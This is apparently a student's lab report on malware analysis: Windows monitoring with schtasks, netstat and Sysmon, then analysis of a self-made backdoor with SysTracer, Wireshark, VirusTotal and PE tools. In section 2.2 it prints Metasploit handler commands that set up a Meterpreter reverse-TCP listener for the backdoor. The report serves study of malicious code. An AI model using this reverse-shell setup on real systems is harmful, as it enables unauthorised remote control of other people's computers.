Yinkou

 

恶意代码分析

一、实践目标

1.监控你自己系统的运行状态,看有没有可疑的程序在运行。
2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件;分析工具尽量使用原生指令或sysinternals,systracer套件。
3.假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质。

二、实践内容

2.1系统运行监控

(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。
  目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。(1分)

(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。(1分)

    参考:schtask与sysmon应用指导

实际日志的分析还需要发挥下自己的创造力,结合以前学过的知识如linux的文本处理指令等进行。
分析的难点在于从大量数据中理出规律、找出问题。这都依赖对结果过滤、统计、分类等进一步处理,这就得大家会什么用什么了。

2.1.1使用schtasks指令监控系统

1.使用命令schtasks /create /TN netstat4322 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstat4322.txt""创建任务计划nestat4322。
1 TN 是TaskName的缩写,我创建的计划任务名是netstat4322;2 sc 表示计时方式,我们应按要求每隔一分钟记录一次,所以使用MINUTE;3 TR 是Task Run,要运行的指令是netstat ;4 bn,b表示显示可执行文件名,n表示以数字来显示IP和端口;5 > 表示输出重定向,将输出存放在c:\netstatlog.txt文件中.
image
此命令完成后,每1分钟就会监测哪些程序在使用网络,并把结果记录在netstatlog.txt文档里,为了显示日期和时间,我们通过bat批处理文件来实现。
2.在桌面上创建一个netstat201843224322.bat文件,然后将其放入C盘根目录下(可以先在桌面新建txt文本文件,使用记事本写入后在修改后缀为.bat,复制到C盘中)。文件内容为:
date /t >> c:\netstatlog.txt
time /t >> c:\netstatlog.txt
netstat -bn >> c:\netstatlog.txt
image
3. 打开控制面板,选择管理工具,进入任务计划程序,找到我们在第一步建立的netstat4322。
4.点击下方操作-> 右侧所选项栏中属性。
image
5. 在弹出的窗口中,点击页面上方的操作,然后双击任务进入编辑操作界面。
6.将程序和脚本修改为刚才创建的netstat20184322.bat,添加参数(可选)为空。
image
7. 点击页面上方的常规,勾选使用最高权限运行。(由于我们要在C盘根目录下常见文件,需要管理员权限)
8. 点击页面上方的条件,取消默认勾选的电源选项,否则我们在不插电的情况下就无法生成netstatlog.txt文件。
image
9. 此时查看C盘根目录下的netstat20184322.txt文件,发现已经有了时间的记录,至此完成了任务的创建:
image

2.1.2将数据导入excel

1.导入文本数据:新建excel文件->选择上方“数据”->选择导入数据。
image
2.选择记录连接情况的文本netstat20184322.txt,点击“导入”。
image
3.进入文件导入向导第一步,选中“分隔符号”,点击“下一步”。
image
4.进入文件导入向导第二步,选中全部分隔符号,点击“下一步”。
image
5.进入文件导入向导第三步,列数据格式选择常规,点击“完成”。
6.发现文件导入成功。
image

2.1.3用excel分析数据

1.首先查看所有联网程序的联网次数,具体excel操作如下:
  ①首先选中我们要分析的列;
  ②其次点击上方“插入”->“数据透视图”;
  ③默认选择在一个新工作表中生成;
image
  ④在右侧“字段列表”中勾选 “周五” ->取消选择那些没有意义的字段,然后点击“确定”;
  ⑤将该字段拖动到下方的“轴字段”和“数值”两个区域中;
image
  ⑥然后就可以看到我们的统计图进行分析了:
image
由图表看出,联网最多的还是 浏览器(火狐和QQ浏览器),约占总联网数的4/5。
  2. 其中还有一个backgroundTaskHost.exe和WpnService,也不明白是什么用途。
  但查看表格,发现他们的状态都是,可能是系统自设定的吧。。。
image

2.1.4使用sysmon工具监控系统

一)设置合理的配置文件

  1. 确定监控目标:进程创建ProcessCreate、进程创建时间FileCreatTime、网络连接NetworkConnect、远程线程创建CreateRemoteThread。
  2. 简单了解配置文件。

①进程创建ProcessCreate的过滤事件选项有:

UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine

②进程创建时间FileCreatTime的过滤事件选项有:

UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime

③网络连接NetworkConnect的过滤事件选项有:

UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName

④远程线程创建CreateRemoteThread的过滤事件选项有:

UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction

⑤其他时间过滤器、过滤事件的选项、onmatch选项可取值、condition可设置的值、配置文件样例,可以参考使用轻量级工具Sysmon监视你的系统 - FreeBuf网络安全行业门户
3.写配置文件。我的创建配置文件4322_Sysmoncfig.txt内容如下:(配置文件是xml文件,为了简单编辑就直接命令为.txt,每次用写字本打开。)

* QQBrower.exe
<FileCreateTime onmatch="exclude" >
  <Image condition="end with">QQBrower.exe</Image>
</FileCreateTime>

<NetworkConnect onmatch="exclude">
  <Image condition="end with">QQBrower.exe</Image>
  <SourcePort condition="is">137</SourcePort>
  <SourceIp condition="is">192.168.61.132</SourceIp>
</NetworkConnect>
<NetworkConnect onmatch="include">     
  <DestinationPort condition="is">80</DestinationPort>      
  <DestinationPort condition="is">443</DestinationPort>    
</NetworkConnect>

<CreateRemoteThread onmatch="include">
  <TargetImage condition="end with">explorer.exe</TargetImage>
  <TargetImage condition="end with">svchost.exe</TargetImage>
  <TargetImage condition="end with">winlogon.exe</TargetImage>
  <SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
内容含义: exclude相当于白名单,不用记录。include相当于黑名单。 Image condition 这里要根据自己使用的浏览器更改,例如谷歌浏览器是“chrome.exe”,QQ浏览器的进程名是“QQBrower.exe”。写在exclude中就是不记录由QQ浏览器创建的进程。 想知道自己浏览器进程名,可以查看我们上一阶段的“netstatlog.txt”中的记录。 进程创建时间类似,也是不创建浏览器创建进程的时间。 网略连接过滤掉了浏览器的网络连接、源IP为192.168.43.249的网络连接和目的端口为137的连接服务,且查看目的端口为80(http)和443(https)的网络连接。 137端口的主要作用是在局域网中提供计算机的名字或IP地址查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态。 192.168.61.132表示本机IP。 远程线程创建记录了目标为explorer.exe、svchost.exe、winlogon.exe和powershell.exe 的远程线程。 explorer.exe是Windows程序管理器或者文件资源管理器 svchost.exe是一个属于微软Windows操作系统的系统程序,是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。 winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出。 powershell.exe是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用。 4.把配置文件放在C盘下。 ![image](https://img2020.cnblogs.com/blog/2317850/202104/2317850-20210414233116712-1012640982.png) 三)在事件查看器里查看日志 1. 打开计算机管理,点击事件查看器,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational中,我们可以看到按照配置文件的要求记录的新事件,以及事件ID、任务类别以及详细信息。 ![image](https://img2020.cnblogs.com/blog/2317850/202104/2317850-20210414233427701-593392506.png) 2.点击查看相关信息。 ![image](https://img2020.cnblogs.com/blog/2317850/202104/2317850-20210414233554436-1155840185.png)   上图中就是我使用管理员身份运行cmd.exe时留下的日志。   通过查看,我可以发现explorer.exe的时间、进程指南、进程ID以及其他详细信息.

  Svchost.exe是微软视窗操作系统里的一个系统进程,管理通过Dll文件启动服务的其它进程,一些病毒木马伪装成系统dll文件通过Svchost调用它,试图隐藏自己。
  每个svchost可以同时调用多个dll文件,启动多个服务。

2.2恶意软件分析

分析该软件在
(1)启动回连
(2)安装到目标机
(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)
该后门软件
(1)读取、添加、删除了哪些注册表项
(2)读取、添加、删除了哪些文件
(3)连接了哪些外部IP,传输了什么数据
设置监听端口号(我设成了exp2 生成后门时监听的端口,即我的学号4322)

->安装完成
2.在打开后门前先快照一下,点击“take snapshot”。

耐心等待,完成后显示以下页面:

完成后显示Snapshop #1
image
3.Kali打开msfconsole,完成相关设置后开始监听,Windows运行后门后,拍摄快照:
`use exploit/multi/handler // 使用监听一种后门
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.100 //kali的IP地址。将要实行监听的主机IP,也就是被监听主机将要连接的IP地址
set LPORT 4322

show options

exploit`
完成后显示Snapshop #2
image
4. 查看信息。
点击上方“Applications”->左侧“Running Processes”->找到后门进程“43_100.exe”->点击“Opened Ports”查看回连地址、远程地址和端口号:
image

2.2.1 分析对比Snapshot #1 vs Snapshot #2(回连前后对比)

在快照界面“Snapshots”右下角点击“Compare”,比对一下回连前后计算机发生的变化:
image
1.读取、添加、删除了以下注册表项
image
其中注册表项以 增加为主,增加了很多注册表项
2. 读取、添加、删除了以下文件:
image
文件大都以更新为主,但我发现了一些按理不应该存在的文件:
image
回连之后,甚至还删除了其他文件夹中的一些链接,可能是同处E盘,在文件目录下会有一些重定向???
3. 更新、删除、修改了以下软件:
image
在对比页面中,我们可以很清晰的看出软件的更新、删除和增加。
例如,在后门启动后,多出了E:\kali\exp4\43_100.exe和其他的软件,同时也将svchost.exe进行了更新(不止一次)
6.输入screenshot命令抓屏,此时创建第三个快照Snapshot #3

2.2.2分析对比Snapshot #2 vs Snapshot #3(screenshot命令前后对比)

  1. 读取、添加、删除了哪些注册表项
    image
    与Snapshot #2 vs Snapshot #1相比,这次的改动很小,毕竟我只是输入了一个截屏操作。
    同时我发现,这些注册表的变化没有局限于和我的后门软件相关的文件夹中,在不同的盘内,也有注册表信息发生了改变,可能这些无时无刻不在发生着变化??
  2. 读取、添加、删除了以下文件
    image
  3. 软件的更改几乎没有,有也是一些与实验无关的软件的删除更新。

2.2.3使用wireshark对流量进行抓包分析

连接了哪些外部IP,传输了什么数据(抓包分析)
打开Wireshark,选择WLAN接口开始抓包
image
kali开始监听,win10执行后门程序43_99.exe进行回连。
在wireshark中输入过滤条件ip.addr ==192.168.43.99,可以看到Wireshark上捕获到大量的TCP传输。
主机和kali也完成了三次握手协议。输入其他命令(pwd),Kali会不断给Windows传一大堆ACK包,有时还伴有PSH+ACK包。(PSH就表示有 DATA数据传输)
image
其中192.168.43.99 是我kali的IP地址,192.168.43.249是我主机的IP地址
image
[PSH,ACK]包就是我输入pwd命令后,两者进行数据传输的包
image
查看下方的信息时,也可以看到它的基本信息:发送方、接收方、存在时间、端口号等

2.2.4使用VirusTotal分析恶意软件

image
这张图显示了恶意代码43_99.exe的摘要值、PE文件头、生存时间和文件大小。
  其中TrID ,是一个软件工具,可以识别基于其二进制特征码文件类型的文件类型定义数据库,保存为一个单独的文件,并可以通过下载定义库的新版本更新。 主定义包被命名为“ TrIDDefs.TRD ”和该应用程序打开时被加载。由用户选择的文件核对,在TrIDDefs.TRD文件中的定义来确定文件类型。
image
这张图中出现了一个新的软件名字ab.exe.ab.exe是一个性能检测工具,是apache server中的一个小组件,我觉得可能是网站在分析恶意代码时使用了它,所以才出现了这个软件。

2.2.5使用PEiD分析恶意软件

PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。
当文件加壳时:
image
该软件会显示加壳的信息
当没有壳时:
image
可以发现,软件加壳前后的EP段发生了改变,没有壳时EP段为.text,即代码段
而加壳后,EP段为UPX1,我觉得可以理解为壳的特征码吧,这很可能就是加壳后,软件的查杀可能性更高的原因了。
2.2.6使用PE Explorer分析恶意软件
image
可以看出,PE Explore可以显示恶意代码的镜像基址Image Base,文件头大小。
https://img2020.cnblogs.com/blog/1561891/202104/1561891-20210410155357547-1671330116.png
  同时该软件调用了三个函数,从而有3个dll文件,其中kernel32.dll属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,是每个软件都必需的。
当然,我觉得这些信息可能使用winhex或者STu_PE会更清晰明了。

三、问题

(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

答:我想监控的行为有:联网情况;麦克风、摄像头开启情况;网址连接到那些地方了,持续时间有多长;有哪些软件使用的管理员权限。
  本次实验的“任务计划”可以用来查看联网情况。wireshark可以进行抓包,查看有哪些连接,以及他们传输了哪些信息。日志可以看看软件的使用情况。

(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

答:PE Exoplorer 和virus total 可以查看它的文件头、调用函数、生存时间、镜像基址和摘要值。
  Ollydebug可以调试运行它,看看它会进行哪些操作,以及它存放的地址。
  我们也可以使用计算机管理器,查看它的进程号,选择杀死该进程。
  我们甚至可以通过它的可选头文件地址使用winhex将其全部置零,避免恶意软件卸载不干净。
  (也可以在配置文件中将其列入黑名单“include”,严格记录它的行为)

四、实验总结与体会

  本次实验没有太多的命令行操作,大部分时间用来分析每个软件显示的信息是什么意思了。类似于schtask与sysmon监控系统,启动任务计划程序并用excel形成数据透视图,就是新掌握的知识点。实验后半部分的恶意代码分析,与我《恶意代码》课程有着很高的重叠,像是PE Explorer就与我在恶意代码课程上使用的STU_PE 功能类似,甚至还没有STU_PE 显示的信息更多。
  总的来说,本次实验重点在于分析,分析恶意代码的操作有哪些,分析它对注册表、文件、App的影响体现在哪里,也分析了恶意代码有哪些特征点,并学习如何监控自己的系统,查看是否有可疑软件运行。我们应该培养自己下载软件时查看摘要值的习惯,以免软件被不法分子篡改,在计算机内部监控着我们的信息。

posted on 2021-04-15 12:48  Yinkou  阅读(301)  评论(0编辑  收藏  举报

导航